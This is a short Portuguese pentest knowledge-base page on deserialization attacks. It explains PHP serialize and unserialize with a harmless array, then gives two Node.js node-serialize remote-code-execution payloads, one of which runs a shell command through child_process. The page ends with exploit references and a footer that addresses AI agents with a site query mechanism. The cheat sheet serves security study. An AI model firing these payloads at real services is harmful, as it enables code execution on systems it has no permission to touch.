# Deserialization Attack

### PHP

#### Serialize

Para serializarmos um array, vamos executar os seguintes comandos:

```
php -a
$array = ['me', 'chamo', 'Mysther'];
echo serialize($array);
```

E então iremos ter a seguite saída:

```
a:3:{i:0;s:2:"me";i:1;s:5:"chamo";i:2;s:7:"Mysther";}
```

| PARTE             | DESCRIÇÃO                                             |
| ----------------- | ----------------------------------------------------- |
| `a:3:{`           | Indica que o array contém 3 valores                   |
| `i:0;`            | Inteiro (Integer) no index 0 (zero) do array          |
| `s:2:"me";`       | String que contém 2 caracteres, com o valor `me`      |
| `i:1;`            | Inteiro (Integer) no index 1 do array                 |
| `s:5:"chamo";`    | String que contém 5 caracteres, com o valor `chamo`   |
| `i:2;`            | Inteiro (Integer) no index 2 do array                 |
| `s:7:"Mysther";}` | String que contém 7 caracteres, com o valor `Mysther` |

#### Unserialize

Este com um nome bem intuitivo, irá fazer o inverso da função `serialize`. Assim, iremos fazer uma string se transformar em um array.

```
php -a
$string = 'a:3:{i:0;s:2:"me";i:1;s:5:"chamo";i:2;s:7:"Mysther";}';
print_r(unserialize($string));
```

### NodeJS

```
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id', function(error,stdout,stderr){console.log(stdout)});}()"}
{"rce":"_$$ND_FUNC$$_function(){console.log('hacked')}()"}
```

#### Sites

```
# PHP
https://blog.checkpoint.com/wp-content/uploads/2016/08/Exploiting-PHP-7-unserialize-Report-160829.pdf

# Java
https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#for-android

# NodeJS
https://github.com/luin/serialize
https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mysther.gitbook.io/knowledge-base/ataques/web-exploitation/deserialization-attack.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
